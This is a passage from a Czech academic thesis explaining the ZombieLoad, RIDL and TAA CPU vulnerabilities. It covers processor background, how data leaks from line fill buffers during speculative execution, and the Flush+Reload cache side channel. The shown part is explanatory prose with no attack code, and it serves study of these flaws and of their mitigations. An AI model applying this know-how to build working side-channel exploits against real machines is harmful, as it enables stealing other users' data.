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Abstrakt

Ćılem práce je popsat princip útoku ZombieLoad a jeho provedeńı. Teoretická
část seznamuje čtenáře s některými specifiky moderńıch procesor̊u. Následuje
analýza samotného útoku včetně popisu cache postranńıho kanálu, který je
využ́ıván. Teoretickou část uzav́ırá kapitola popisuj́ıćı aplikované záplaty na
úrovni operačńıch systémů a procesoru. V praktické části je popsána sa-
motná realizace pěti variant útoku na operačńım systému Linux. V popisu
jsou zd̊urazněny překážky zabraňuj́ıćı úspěšnému útoku a jejich řešeńı. Po-
sledńı kapitola analyzuje úspěšnost implementovaných variant a zneužitelnost
zranitelnost́ı.

Kĺıčová slova ZombieLoad, Rogue In-Flight Data Load (RIDL), micro-
architectural fill buffer data sampling (MFBDS), TSX asynchronous abort
(TAA), microarchitectural data sampling (MDS), cache postranńı kanál
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Abstract

The goal of this thesis is to describe a principle of the ZombieLoad attack
and to perform it. The theoretical part introduces some specifics of modern
processors. After that follows an analysis of the attack which includes a de-
scription of a cache side-channel. The theoretical part concludes with a chap-
ter describing mitigations applied by operating systems and processors. The
practical part describes the implementation of five variants of the attack on
the Linux operating system. The description also includes any obstacles that
can be encountered during an attack attempt and their solutions. The last
chapter analyses the success rate of the implemented variants and abusement
of vulnerabilities.

Keywords ZombieLoad, Rogue In-Flight Data Load (RIDL), microarchi-
tectural fill buffer data sampling (MFBDS), TSX asynchronous abort (TAA),
microarchitectural data sampling (MDS), cache side-channel
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3.1 Ověřeńı zranitelnosti daného procesoru . . . . . . . . . . . . . . 17

3.1.1 Zranitelnost MFBDS . . . . . . . . . . . . . . . . . . . . 17
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4 Realizace útoku ZombieLoad 21
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logickém jádře . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
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5.3 Graf úspěšnosti programu taa při útoku mezi hyperthready . . . . 41
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5.1 Výstup programu mfbds zombieload . . . . . . . . . . . . . . 37
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Úvod

Informačńı technologie se vyv́ıj́ı bleskovým tempem a nároky na hardware
jsou stále vyšš́ı a vyšš́ı. Výrobci procesor̊u jsou tak neustále tlačeni k výrobě
procesor̊u, které dokáž́ı držet s dobou krok. Často přitom naráž́ı na fyzikálńı
meze. Využ́ıvaj́ı proto každé př́ıležitosti, jak třeba i nepatrně zlepšit výkon
procesoru. Vznikaj́ı tak technologie jako spekulativńı vykonáváńı instrukćı či
vykonáváńı instrukćı mimo pořad́ı. Výrobci také implementuj́ı daľśı optima-
lizace, které nejsou př́ımo nikde zdokumentovány. Se složitými optimaliza-
cemi mohou snadno vznikat chyby či nedomyšlené situace, které mohou být
útočńıky zneužitelné.

Vlnu procesorových zranitelnost́ı odstartovaly chyby Meltdown a Spectre.
Tyto chyby zneuž́ıvaj́ıćı spekulativńıho prováděńı instrukćı ukázaly, že na
prvńı pohled nevinné optimalizace mohou zároveň být slabým mı́stem pro-
cesoru. Od té doby se objevily deśıtky daľśıch variant zranitelnost́ı. S každou
softwarovou i hardwarovou záplatou vyplouvaj́ı na povrch daľśı útoky, které
záplaty obcháźı nebo zneuž́ıvaj́ı jiných část́ı procesoru. To je i př́ıpad Microar-
chitectural Data Sampling (MDS) zranitelnost́ı, které otev́ıraj́ı nové možnosti
pro útočńıky. Sem patř́ı i útok ZombieLoad, hlavńı téma této práce.

V př́ıpadě objeveńı nové procesorové zranitelnosti je obvykle výrobce (v tomto
př́ıpadě Intel) informován a na základě toho si vyžádá na určitou dobu in-
formačńı embargo. Během této doby mohou zranitelnost nezávisle na sobě ob-
jevit daľśı lidé. To se stalo v př́ıpadě útoku ZombieLoad, d́ıky čemuž vznikly
dva nezávislé dokumenty, ZombieLoad [1] a RIDL[2], popisuj́ıćı stejné1 zrani-
telnosti. Intel nav́ıc také vydal své stanovisko zahrnuj́ıćı stručný popis principu
zranitelnost́ı a předevš́ım provedené opravy a př́ıpadná daľśı doporučeńı, jak
útok znemožnit. Vznikly tak tři primárńı zdroje informaćı, které na celou situ-

1V dokumentu RIDL jsou uvedeny některé daľśı zranitelnosti, které ZombieLoad nepo-
pisuje.
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Úvod

aci nahĺıž́ı pokaždé trochu jiným zp̊usobem – předevš́ım co se týče závažnosti
zranitelnost́ı. Tato práce si klade za ćıl tyto informace sjednotit a posoudit
zneužitelnost zranitelnost́ı po aplikaci všech běžně dostupných záplat.

Prvńı kapitola Specifika moderńıch procesor̊u uvád́ı čtenáře do proble-
matiky moderńıch poč́ıtačových architektur. Jsou zde vysvětleny techniky
jako spekulativńı vykonáváńı instrukćı, virtuálńı adresace paměti či využ́ıváńı
pamět’ové hierarchie. Znalost těchto technik je nutná pro správné pochopeńı
principu samotného útoku.

Druhá kapitola Princip útoku nejprve zranitelnosti klasifikuje a porovnává
je s dř́ıve objevenými rodinami útok̊u Meltdown a Spectre. Následuje po-
pis jednotlivých zranitelnost́ı společně s metodou Flush+Reload, d́ıky které je
možné efekt popisovaných chyb pozorovat na architekturálńı úrovni.

Třet́ı kapitola Opravy a záplaty uvád́ı postup pro ověřeńı, zda je daný
procesor v̊uči útoku zranitelný. Dále jsou rozebrána všechna dosud aplikovaná
opatřeńı pro zmı́rněńı zranitelnost́ı. Společně s opatřeńımi jsou uvedena i jejich
slabá mı́sta.

Ve čtvrté kapitole Realizace útoku ZombieLoad docháźı k samotné imple-
mentaci útoku. Konkrétńı podoba kódu je d̊ukladně vysvětlena. Důraz je při
tom kladen na možné překážky, které mohou ovlivnit úspěšnost exploitu.

Pátá kapitola Analýza výsledk̊u porovnává dosažené výsledky s předpoklady.
Na základě těchto výsledk̊u je posouzena závažnost zranitelnost́ı předevš́ım
z pohledu zcela aktualizovaného systému.
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Kapitola 1
Specifika moderńıch procesor̊u

Moderńı procesory využ́ıvaj́ı několik d̊uležitých technik pro zvýšeńı výkonu.

1.1 Vykonáváńı mimo pořad́ı

Procesorové instrukce jsou v programovém pořad́ı nejprve dekódovány ze
složitěǰśıch CISC instrukćı na jednodušš́ı ”RISC-like“ mikroinstrukce [3]. Mezi
jednotlivými mikroinstrukcemi jsou následně detekovány datové závislosti. Mi-
kroinstrukce jsou pak připravené, aby byly zpracovány vykonávaj́ıćımi jednot-
kami (execution units). Vykonávaj́ıćı jednotky jsou specializované např́ıklad
na jednoduché ALU operace, operace s desetinnými č́ısly, skoky, vektorové
operace nebo nač́ıtáńı z paměti a ukládáńı do paměti.

Aby se zvýšila propustnost instrukćı, jsou prováděné mimo pořad́ı podle toho,
jak jsou dané vykonávaj́ıćı jednotky vyt́ıžené a jak jsou připraveny operandy
těchto instrukćı. Je ale potřeba zaručit správný architekturálńı stav – tedy
dodržet, že ke změnám v architekturálńıch registrech bude docházet, jako by
procesor prováděl instrukce v programovém pořad́ı. To zaručuje reorder buf-
fer, který zejména slouž́ı k poznamenáńı správného programového pořad́ı vy-
konávaných instrukćı. Také docháźı k přejmenováńı architekturálńıch registr̊u
na registry fyzické. K tomu účelu slouž́ı Register Alias Table (RAT). Až poté
je možné předat instrukce dál, do fronty pro vykonávaj́ıćı jednotky. Jakmile
je instrukce vykonaná, je jej́ı stav změněn v reorder bufferu. Odtud jsou vy-
konané instrukce odeb́ırány v p̊uvodńım programovém pořad́ı, přičemž jsou
zároveň přepisovány architekturálńı registry podle hodnot z odpov́ıdaj́ıćıch
fyzických registr̊u (na základě aktuálńıho přejmenováńı registr̊u dle RAT).
Pokud by měla být odebrána instrukce, která zp̊usobila výjimku, procesor za-
hod́ı všechny navazuj́ıćı instrukce [4]. Pokud šlo o architekturálńı výjimku,
spust́ı se kód tuto výjimku ošetřuj́ıćı (exception vector). V př́ıpadě mikroar-
chitekturálńı výjimky začne prováděńı programu od instrukce, která selhala.
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Obrázek 1.1: Mikroarchitektura Intel Skylake (klient) [5]

1.2 Spekulativńı vykonáváńı instrukćı

Daľśıch technika slouž́ıćı k zvýšeńı propustnosti instrukćı v procesoru je spe-
kulativńı vykonáváńı [6]. Pokud procesor zpracovává podmı́něný skok, po-
kuśı se pomoćı specializovaných prediktor̊u uhádnout, kam a zda v̊ubec bude
skok proveden. Začnou se tak zpracovávat instrukce, které mohou i nemuśı
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1.3. Virtuálńı adresace paměti

být prováděny správně. Takovým instrukćım (a následně mikroinstrukćım) je
přǐrazen št́ıtek (tag), který jednoznačně identifikuje spekulativńı větev prováděńı.
V rámci spekulativńıho prováděńı mohou vznikat daľśı spekulace, takže může
docházet k několikanásobnému větveńı.

Velmi podobná situace nastává i v př́ıpadě, kdy procesor přistupuje do paměti.
Dı́ky prováděńı mimo pořad́ı může snadno docházet k nesprávnému pořad́ı
provedeńı load a store operaćı. Vzniká tak spekulativńı vykonáváńı load in-
strukćı [7]. Obecně existuj́ı daľśı př́ıpady (jedná se o r̊uzné daľśı optimali-
zace), ve kterých jsou instrukce na úrovni mikroarchitektury vykonané, ale
z r̊uzných d̊uvod̊u je pak jejich výsledek zahozený. Takovým instrukćım se
ř́ıká tranzientńı instrukce [1]. Přestože by efekt těchto instrukćı neměl být
z architekturálńıho pohledu znatelný, je možné jej pozorovat typicky pomoćı
postranńıho kanálu založeného na cache paměti.

1.3 Virtuálńı adresace paměti

Z bezpečnostńıch i praktických d̊uvod̊u neńı adresńı prostor proces̊u př́ımo
mapovaný na fyzickou pamět’ [8]. Každý proces má sv̊uj adresńı prostor, do
kterého nemůže standardně jiný nesystémový proces zasahovat. Do části to-
hoto prostoru je mapován adresńı prostor operačńıho systému, který je sd́ılen
mezi všemi procesy. Virtuálńı prostor je rozdělen na stejně velké úseky, kterým
se ř́ıká stránky. Stejně je i rozdělena operačńı pamět’ s t́ım, že zde se tyto
úseky nazývaj́ı rámce a jsou stejně velké jako stránky. Na jeden rámec může
být mapováno v́ıce stránek, ale ne naopak. Takto může být pamět’ový prostor
operačńıho systému mapován do všech proces̊u a přesto fyzicky zab́ırat mı́sto
pouze jedné kopie [9]. Přesto se může poměrně snadno operačńı pamět’ zapl-
nit. Proto se nepouž́ıvané stránky odkládaj́ı na disk. Na běžně použ́ıvaných
operačńıch systémech je část nebo celá operačńı pamět’ mapovaná do adresńıho
prostoru jádra OS. Zjednodušený model je znázorněný na obrázku 1.2.

Procesy použ́ıvaj́ı při př́ıstupu do paměti virtuálńı adresu. Tu je třeba při
prováděńı load nebo store operace přeložit na fyzickou. O to se stará memory
management unit (MMU), která dokáže pro každý proces provést překlad ad-
resy, pokud je daná stránka uložena v operačńı paměti. Pokud MMU nedokáže
virtuálńı adresu přeložit, dojde k vyvoláńı výjimky, kterou zpracuje operačńı
systém. Této situaci se ř́ıká page fault. K neúspěšnému přeložeńı může doj́ıt
ze dvou d̊uvod̊u. Virtuálńı adresa procesu nemuśı být operačńım systémem
v̊ubec mapována (proces přistupuje na adresu, která mu nebyla při spuštěńı
ani za běhu alokována). V tom př́ıpadě je proces typicky ukončen signálem
segmentation fault. Ve druhém př́ıpadě je virtuálńı adresa procesu mapovaná
na stránku, která je odložena na disku. OS v tom př́ıpadě načte požadovanou
stránku z disku a př́ıpadně odlož́ı jinou.
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1. Specifika moderńıch procesor̊u

Fyzická paměť

Disk

Virtuální adresní prostor procesu

user

kernel

0x0000000000000000

0xffffffffffffffff

Odložené
stránky

RámceStránky
0x00007fffffffffff

0xffff800000000000

0xffff888000000000

Obrázek 1.2: 64-bitový adresńı prostor na OS Linux

Aby MMU dokázala provádět překlad, potřebuje k tomu tabulku s informa-
cemi o mapováńı dané virtuálńı adresy na fyzickou. Tato tabulka se nazývá
tabulka stránek (page table) a je pro každý proces jiná. Pokud by se pro každý
proces použ́ıvala jedna velká tabulka, nastal by problém s ukládáńım takové
tabulky, jelikož by se nemusela vej́ıt do jedné stránky. I proto se využ́ıvá
v́ıceúrovňového stránkováńı, kdy je adresa stránky rozdělena a jednotlivé po-
dadresy slouž́ı jako indexy do tabulky dané úrovně. Všechny tabulky kromě
tabulek nejnižš́ı úrovně pak odkazuj́ı (pomoćı virtuálńı adresy) na tabulku
nižš́ıho řádu. V tabulce nejnižš́ıho řádu je konečně uložen překlad virtuálńı
adresy na fyzickou.

1.3.1 Address space layout randomization

Dı́ky jasně danému rozložeńı adresńıho prostoru často docházelo k útok̊um
využ́ıvaj́ıćım toho, že konkrétńı funkce či data byly při v́ıce spuštěńıch pro-
cesu stále umı́stěné na stejné adrese. Vznikla proto technologie Address Space
Layout Randomization (ASLR), která umožňuje adresńı prostor při každém
spuštěńı mapovat na jiné adresy. T́ım se adresa konkrétńı funkce či dat stala
obt́ıžně předpov́ıdatelná. Analogicky je možné randomizovat i adresńı prostor
jádra OS, v takovém př́ıpadě se jedná o Kernel Address Space Layout Rando-
mization (KASLR).

1.3.2 Page table isolation

S objeveńım zranitelnosti Meltdown se mapováńı kernelu do adresńıho pro-
storu každého procesu ukázalo jako slabé mı́sto. Došlo proto k rozděleńı ta-
bulky stránek [10]. Dř́ıve použ́ıvaná tabulka se záznamy o překladu všech
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1.4. Cache pamět’

stránek (uživatelských i kernelových) byla zpř́ıstupněna pouze v kernel módu
a pro běh v neprivilegovaném režimu byla vytvořená nová tabulka s ma-
pováńım uživatelských stránek a nutným minimem stránek systémových. Toto
opatřeńı bylo pojmenováno Kernel Page Table Isolation (KPTI, př́ıpadně
pouze PTI).

1.4 Cache pamět’

Pamět’ové operace velmi zpomaluj́ı běh procesoru. Aby se minimalizoval jejich
dopad na rychlost, využ́ıvá se v́ıceúrovňová hierarchie paměti. Mezi proceso-
rovým jádrem a operačńı pamět́ı se nacháźı několik úrovńı mnohonásobně
krát rychleǰśı paměti. Tato pamět’ se nazývá cache a slouž́ı jako vyrovnávaćı
pamět’ [11].

datatag

datatag

Cesta W - 1 Cesta 0

Set 0

Set S - 1

data offsettag set
Fyzická adresa

=Cache line / cache blok

datatag

datatag

...

...

......

Obrázek 1.3: Cache pamět’

Cache je asociativńı pamět’, což znamená, že jej́ı obsah je adresovatelný kĺıčem,
v tomto př́ıpadě fyzickou adresou. Jelikož je cache pamět’ mnohem menš́ı než
operačńı pamět’, neadresuje se celou adresou, ale pouze několika bity. Části
cache, ke které se přistupuje stejnými adresami, se ř́ıká set. Data nejsou v se-
tech ukládána po bytech, ale po větš́ıch úsećıch, které se nazývaj́ı cache bloky
nebo také cache line2. Aby se nestávalo, že se data v cache line budou ne-
ustále stř́ıdat v d̊usledku práce se dvěma pamět’ovými oblastmi, které maj́ı
část adresy shodnou, obsahuj́ı cache sety několik cache lines. Každá cache line
v rámci setu patř́ı do jiné cesty a počtem cest se pak určuje stupeň asociati-
vity. Rozložeńı cache paměti je znázorněno na obrázku 1.3. Situace, kdy při
př́ıstupu na nějakou adresu jsou data dostupná v cache, se označuje jako cache
hit. Opačnému stavu, kdy data v cache dostupná nejsou, se ř́ıká cache miss.

2Většinou je jako cache line označováno mı́sto, na které se data ukládaj́ı. Často se tak
ale označuj́ı i data, která by na toto mı́sto byla uložena.

7



1. Specifika moderńıch procesor̊u

Situaci, kdy jsou z cache line vyprázdněna data (nezávisle na d̊uvodu), se ř́ıká
cache line eviction.

L1D cache

L1I cache
L2 cache

L3 cache

180 běžných registrů
168 vektorových registrů

datová 32 KiB / jádro

256 KiB / jádro

2 MiB / jádro

CPU

L1D cache

L1I cache
L2 cacheCPU

instrukční 32 KiB / jádro

2 –  128 GB

1 TB –  ?

~ 400 ps ~ 7 ns ~ 75 ns

~ 1 ns ~ 15 ns ~ 12 ms (HDD)
~ 60 μs (SSD)

Obrázek 1.4: Pamět’ová hierarchie mikroarchitektury Intel Skylake s typickými
velikostmi paměti a časy př́ıstupu

Každé procesorové jádro má svoji L1 (level 1) cache, která je rozdělena na
instrukčńı a datovou pamět’. O něco větš́ı je L2 cache pamět’, u které je doba
př́ıstupu už o něco deľśı oproti L1 cache. L2 cache má také každé jádro vlastńı,
ale už se neděĺı na část instrukčńı a datovou. Daľśı stupně cache hierarchie
už typicky bývaj́ı sd́ılené všemi jádry procesor̊u a s rostoućı úrovńı se jejich
velikost zvětšuje na úkor př́ıstupového času. Jednotlivé časy př́ıstupu společně
s typickými velikostmi jsou znázorněné na obrázku 1.4. Cache posledńı úrovně
se označuje jako LLC (last level cache). Procesor d́ıky této cache hierarchii
nemuśı pokaždé přistupovat k pomalé operačńı paměti.

Procesor umı́ pracovat s několika druhy paměti (resp. strategiemi zápisu do
paměti), od kterých se odv́ıj́ı i úloha cache paměti. O jaký druh paměti se
jedná, je zapsáno v Page Attribute Table (PAT). PAT umožňuje nastavit
daný atribut s granularitou velikosti stránky/rámce. Nejobvykleǰśı je write-
back (WB) pamět’. V př́ıpadě cache miss jsou data načtena do cache line.
Následně procesor pracuje pouze s cache pamět́ı v př́ıpadě load i store in-
strukćı. Cache line si drž́ı př́ıznak o tom, zda byla data modifikována. V mo-
mentě, kdy cache line byla modifikována a mělo by doj́ıt k jej́ımu vyprázdněńı,
se změny zaṕı̌śı do operačńı paměti.
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Write-protect (WP) pamět’ se chová podobně, pouze s t́ım omezeńım, že zápisy
se zapisuj́ı př́ımo na systémovou sběrnici (ne do cache paměti) a zároveň zne-
platňuj́ı odpov́ıdaj́ıćı cache lines všech ostatńıch jader.

Daľśı možnost́ı je write-through (WT) pamět’. Ta funguje obdobně jako WB,
pouze v př́ıpadě každého zápisu se data paralelně zaṕı̌śı do cache paměti
i operačńı paměti. V př́ıpadě přepsáńı cache line jinými daty se p̊uvodńı data
mohou jednoduše zahodit.

Daľśım druhem paměti je write-combine (WC) [12]. Zápisy do tohoto druhu
paměti neprocháźı skrz cache, ale přes speciálńı write-combine buffery. Data
se v těchto bufferech slučuj́ı a následně odeśılaj́ı po větš́ıch částech (bloćıch).
Zápisy z WC buffer̊u nerespektuj́ı koherenčńı protokoly použ́ıvané mezi proce-
sorovými jádry ani pořad́ı zápis̊u v rámci daného bloku. Také neńı zaručeno,
že load operace následuj́ıćı po zápisu uvid́ı modifikovaná data. Procesor může
vynutit odesláńı dat z WC buffer̊u z r̊uzných d̊uvod̊u. Jedńım z nich je čteńı
z adresy, na kterou odkazuj́ı data, která se nacházej́ı ve WC bufferu. Při čteńı
dat z WC paměti se vždy přistupuje do operačńı paměti, až na jednu výjimku
(uvedenou v následuj́ıćım odstavci).

Intel ve svých rozš́ı̌reńıch instrukčńı sady představil load a store instrukce,
které se označuj́ı jako non-temporal [13]. Měly by být použ́ıvány jako optima-
lizace v situaćıch, kdy se předpokládá, že data nebudou deľśı dobu potřeba
a nemá je tedy smysl umist’ovat do cache. Non-temporal store operace, umožňuj́ı
vynutit chováńı WC zápis̊u i u WB a WT typ̊u paměti. Non-temporal load
operace umožňuj́ı provádět čteńı z WC paměti, aniž by došlo k vynuceńı
vyprázdněńı WC bufferu. Pokud se během non-temporal čteńı nacháźı data ve
WC bufferu, použij́ı se hodnoty př́ımo z něj, jinak se do tohoto bufferu načtou
data z operačńı paměti.

Posledńım pamět’ovým druhem je uncacheable (UC) pamět’. Od WC paměti se
lǐśı zejména t́ım, že zápisy prob́ıhaj́ı jednotlivě (nebufferuj́ı se) a pamět’ové in-
strukce se z architekturálńıho pohledu provád́ı v programovém pořad́ı (stejně
jako u všech ostatńıch typ̊u pamět́ı vyjma WC).

1.5 Intel Hyper-Threading

Většina moderńıch procesor̊u je složena z v́ıce samostatných jader, která spolu
sd́ıĺı operačńı pamět’. Aby se zvýšil celkový výkon, duplikuj́ı se některé kri-
tické komponenty procesorového jádra tak, že je na něm možné většinu času
provádět dva instrukčńı proudy najednou [14]. Duplikované jádro disponuje
vlastńım souborem registr̊u, d́ıky kterému si může udržovat architekturálńı
stav nezávisle na sourozeneckém jádře. OS poté mı́sto jednoho jádra vid́ı dvě
logická. Tato technologie se na procesorech Intel nazývá Hyper-Threading.
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1. Specifika moderńıch procesor̊u

Tabulka 1.1: Význam stavové hodnoty zrušeńı TSX transakce

Bit registru
eax

Význam

0 Zrušeńı bylo vyvoláno instrukćı xabort.
1 Transakce může uspět, pokud bude znovu prováděna.
2 Došlo ke konfliktu na úrovni read-setu nebo write-setu.
3 Došlo k přetečeńı vnitřńıho TSX bufferu.
4 Během transakce bylo prováděńı zastaveno na breakpointu.
5 Došlo k zrušeńı zanořené transakce.

23:6 Rezervováno.
31:24 Argument instrukce xabort (pokud je bit 0 nastavený).

1.6 Intel Transactional Synchronization Extensions

Intel Transactional Synchronization Extensions (TSX) je rozš́ı̌reńı instrukčńı
sady procesor̊u Intel, které umožňuje označit sérii instrukćı jako RTM (rest-
ricted transactional memory) region [15]. TSX transakce zaručuje, že se bud’
provedou všechny instrukce v rámci dané transakce, nebo žádná. V rámci
transakce si procesor udržuje seznam cache lines, ze kterých čte (read-set),
a seznam cache lines, na které zapisuje (write-set). Pokud během transakce
jiné logické jádro čte data z cache line, která patř́ı do write setu, nebo zapisuje
do cache line patř́ıćı do alespoň jednoho ze set̊u, dojde ke konfliktu a transakce
se zruš́ı. Pro zrušeńı transakce existuj́ı daľśı d̊uvody. Může jimi být např́ıklad
prováděńı nepovolené instrukce, zaplněńı TSX bufferu nebo vyvolané proce-
sorové přerušeńı. Zrušeńı může být obecně vyvolané synchronńı událost́ı nebo
asynchronńı [16]. V př́ıpadě úspěšné transakce se všechny pamět’ové operace
v̊uči ostatńım logickým jádr̊um provedou najednou – atomicky.

TSX rozš́ı̌reńı RTM přidává několik nových instrukćı. Instrukce xbegin označuje
počátek transakce. Jako argument přij́ımá adresu, od které má vykonáváńı po-
kračovat v př́ıpadě, že dojde ke zrušeńı transakce. Instrukćı xend se transakce
ukončuje. Zda se procesor nacháźı uvnitř transakce je možné ověřit instrukćı
xtest. Posledńı instrukćı je xabort, která umožňuje zrušit transakci s danou
stavovou hodnotou. V př́ıpadě zrušeńı transakce se stav zaṕı̌se do registru eax.
Význam konkrétńıch hodnot popisuje tabulka 1.1.

1.7 Intel microcode

Mikrokód v moderńıch procesorech slouž́ı jako firmware, který je možné aktu-
alizovat bez nutnosti aktualizace BIOSu [17]. Umožňuje efektivně opravovat
chyby v procesorech nebo pomáhat v př́ıpadě složitých mikroarchitekturálńıch
stav̊u. Mikrokód dokáže změnit chováńı instrukce za účelem opraveńı chyby,
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1.7. Intel microcode

modifikovat operandy v některých př́ıpadech floating point operaćı nebo asis-
tovat v př́ıpadě komplikovaných load a store instrukćı [1, 13].
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Kapitola 2
Princip útoku

Pod názvem ZombieLoad se ve skutečnosti skrývá několik zranitelnost́ı. Obecně
tyto zranitelnosti patř́ı do kategorie MDS (Microarchitectural Data Sam-
pling) [18]. Jedná se o skupinu útok̊u postranńım kanálem zneuž́ıvaj́ıćı spe-
kulativńıho vykonáváńı instrukćı procesorem. Od již dř́ıve zveřejněných zra-
nitelnost́ı Meltdown, Spectre a Foreshadow se lǐśı zejména t́ım, že źıskaná
data nejsou spjata s konkrétńı adresou, nýbrž časem, ve kterém byla źıskána.
Je proto d̊uležité použ́ıt vhodný post-processing nad uniklými daty, aby bylo
možné źıskat nějaké užitečné informace. Přestože toto zńı jako silné omezeńı,
ve skutečnosti jsou tyto útoky silněǰśı než již zmı́něné Meltdown, Spectre a je-
jich varianty v tom, že dovoluj́ı ” č́ıst“ libovolná data, která jsou procesorem
zpracovávaná. U útok̊u Meltdown a Spectre jsou většinou poměrně př́ısné
nároky na adresy, ze kterých mohou data unikat. Ukazuje se nav́ıc, že nové
procesory s hardwarovými záplatami proti Meltdown a Spectre jsou zranitelné
v̊uči některým variantám MDS útok̊u [1, 2].

2.1 Microarchitectural Fill Buffer Data Sampling

V př́ıpadě zranitelnosti MFBDS (CVE-2018-12130) data unikaj́ı ze struktury
procesoru nazývané line fill buffer (LFB). Jedná se o mikroarchitekturálńı
strukturu, která slouž́ı jako prostředńık mezi L1 datovou cache a vyšš́ımi
úrovněmi pamět’ové hierarchie. Každé procesorové jádro má tedy sv̊uj LFB,
hyperthready LFB sd́ılej́ı. LFB dokáže najednou zpracovávat až 10 položek3 [15],
které mohou sloužit k r̊uzným účel̊um. Velikost jedné položky je shodná s ve-
likost́ı cache line [1]. LFB se využ́ıvá jako buffer v př́ıpadě non-temporal store
operaćı [1, 2, 15]. Fill buffer zprostředkovává př́ıstupy do paměti, která je
označená jako UC nebo WC [2]. LFB tedy plńı úlohu WC bufferu. V př́ıpadě
cache miss L1 datové cache je vyžádáno načteńı potřebných dat pomoćı line

3Ve skutečnosti tým stoj́ıćı za popisem ZombieLoad experimentálně naměřil 12 položek
na mikroarchitekturách Skylake a nověǰśıch.
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fill bufferu. Takto načtená data mohou být předána load operaćım ještě před
zapsáńım do L1 datové cache [20]. Naopak v př́ıpadě cache hitu L1 datové
cache během store operace může také doj́ıt k využit́ı LFB. Vı́ce load operaćı
ze stejné fyzické adresy využije pouze jednu položku LFB (load squashing).

Jakmile položka v LFB provede přǐrazenou operaci, je uvolněna a je možné ji
znovu alokovat pro jinou operaci. Data v LFB položce mohou z̊ustat i po jej́ım
uvolněńı, dokud nejsou přepsána jinou operaćı [20]. V př́ıpadě load operaćı,
které vyžaduj́ı microcode assist nebo vedou k page faultu, se spekulativně
mohou použ́ıt data z LFB položky (alokované i uvolněné). Tato data sice
neopust́ı mikroarchitekturálńı struktury (nebudou viděna na architekturálńı
úrovni), ale během spekulativńıho vykonáváńı je možné je pomoćı vhodných
instrukćı zakódovat do postranńıho kanálu využ́ıvaj́ıćıho cache. Jelikož LFB
může spekulativně přepośılat data bez ohledu na to, jakému hyperthreadu
nebo procesu patř́ı, lze takto źıskat potenciálně citlivá data jiných uživatel̊u.
Vždy ale mohou unikat data procesu, který běž́ı na stejném fyzickém jádře
(tj. na stejném logickém jádře nebo na druhém hyperthreadu).

2.2 Microarchitectural Data Sampling
Uncacheable Memory

Zranitelnost MDSUM (CVE-2019-11091) pouze popisuje fakt, že data mohou
v MDS útoćıch unikat i z UC paměti.

2.3 TSX Asynchronous Abort

Princip zranitelnosti TAA (CVE-2019-11135) je oproti ostatńım4 MDS zra-
nitelnostem trochu jiný. Load operaćım, které jsou prováděny během asyn-
chronńıho rušeńı TSX transakce, mohou být spekulativně předána data jiných
proces̊u (stejně jako v MFBDS). Data zde unikaj́ı ze všech buffer̊u postižených
MDS (mimo jiné tedy i z line fill bufferu) [16]. Tyto buffery jsou vyznačené na
obrázku 2.1. Pomoćı cache postranńıho kanálu je potom možné tato data na
architekturálńı úrovni źıskat. Stejně jako v př́ıpadě MFBDS plat́ı, že útočńık
může pouze źıskat data proces̊u, které běž́ı na stejném fyzickém jádře.

2.4 Metoda Flush+Reload

Aby bylo možné útok na výše popsané zranitelnosti provést, je potřeba převést
data z mikroarchitekturálńıch struktur do architekturálńıho souboru registr̊u.
Jelikož data unikaj́ı za pomoćı tranzientńıch instrukćı, procesor nikdy uniklá

4TAA se někdy nezařazuje k MDS chybám a uvažuje se jako samostatná zranitelnost,
přestože splňuje popis MDS zranitelnosti.
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2.4. Metoda Flush+Reload

data do registr̊u nezaṕı̌se. Avšak procesor neńı při ”ukĺızeńı“ po tranzientńıch
instrukćıch zcela d̊usledný. Pokud byly v rámci spekulativńıho prováděńı vy-
konány operace, které vedly k načteńı jedné či v́ıce cache lines z operačńı
paměti, tyto cache lines již nejsou v rámci vraceńı změn po tranzientńıch in-
strukćıch nahrazeny p̊uvodńımi [21]. Dı́ky tomu, že prezenci či absenci dané
cache line je možné na architekturálńı úrovni detekovat pomoćı měřeńı času
př́ıstupu, může vzniknout postranńı kanál založený na cache paměti a době
př́ıstupu do paměti.

Metoda Flush+Reload je jednou z nejpouž́ıvaněǰśıch variant pro źıskáńı dat
z cache postranńıho kanálu. K jej́ımu provedeńı je potřeba tolik úsek̊u paměti
velikosti cache line, kolik maj́ı uniklá data možných hodnot. Tyto úseky, re-
spektive jejich př́ıtomnost či nepř́ıtomnost v cache hierarchii, slouž́ı jako in-
dikátory uniklé hodnoty. V př́ıpadě jednoho bytu je tedy potřeba 256 neko-
lizńıch oč́ıslovaných úsek̊u paměti velikosti cache line.

Před samotným útokem (spekulativńım prováděńım) je potřeba všechny úseky
vyprázdnit z hierarchie cache paměti. K tomu slouž́ı instrukce clflush (př́ıpadě
clflushopt), která je v moderńıch procesorech většinou dostupná a nevyžaduje
privilegovaný mód – je možné ji provést v uživatelském procesu bez součinnosti
kernelu. Dále je proveden samotný škodlivý kód, jehož ćılem je tranzientně
źıskat citlivá data. Následuj́ı instrukce, které pomoćı hodnoty tranzientně
źıskaných dat přistouṕı do jednoho z indikačńıch pamět’ových úsek̊u. Tento
př́ıstup muśı proběhnout v krátké době po instrukci, která spustila tranzi-
entńı vykonáváńı. Jakmile totiž reorder buffer naraźı na instrukci, která tran-
zientńı vykonáváńı zp̊usobila, procesor vyprázdńı ze svých struktur prováděné
instrukce. Mohlo by se tak stát, že indikace v cache paměti nestihne být pro-
vedena.

V závislosti na konkrétńı variantě škodlivého kódu je po vyčǐstěńı tranzi-
entńıch instrukćı prováděn kód ošetřuj́ıćı vzniklou výjimku, př́ıpadně pokračuje
vykonáváńı kódu programu uživatele v př́ıpadě mikroarchitekturálńı výjimky.
Pokud došlo k architekturálńı výjimce, je třeba výjimku odchytit. V obou
př́ıpadech je d̊uležité co nejdř́ıve provést př́ıstupy do všech indikačńıch úsek̊u
paměti a měřit časy př́ıstupu. Typicky je jeden nebo dva př́ıstupy výrazně
rychleǰśı než ostatńı. Dva pamět’ové segmenty mohou být označené v př́ıpadě,
kdy procesor spekulativně použil špatnou hodnotu a po vyprázdněńı pipeline
začalo prováděńı od stejné instrukce, ale s hodnotou správnou. Celý postup
může být libovolně opakován.
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Kapitola 3
Opravy a záplaty

3.1 Ověřeńı zranitelnosti daného procesoru

Od zveřejněńı zranitelnost́ı Meltdown a Spectre Intel už́ıvá stejné metody, jak
uživatele o zranitelnosti či nezranitelnosti daného procesoru informovat. Slouž́ı
k tomu model-specific registry (MSR) [13], jejichž chováńı je možné měnit
aktualizováńım mikrokódu. Pro zápis do těchto registr̊u a čteńı z nich slouž́ı
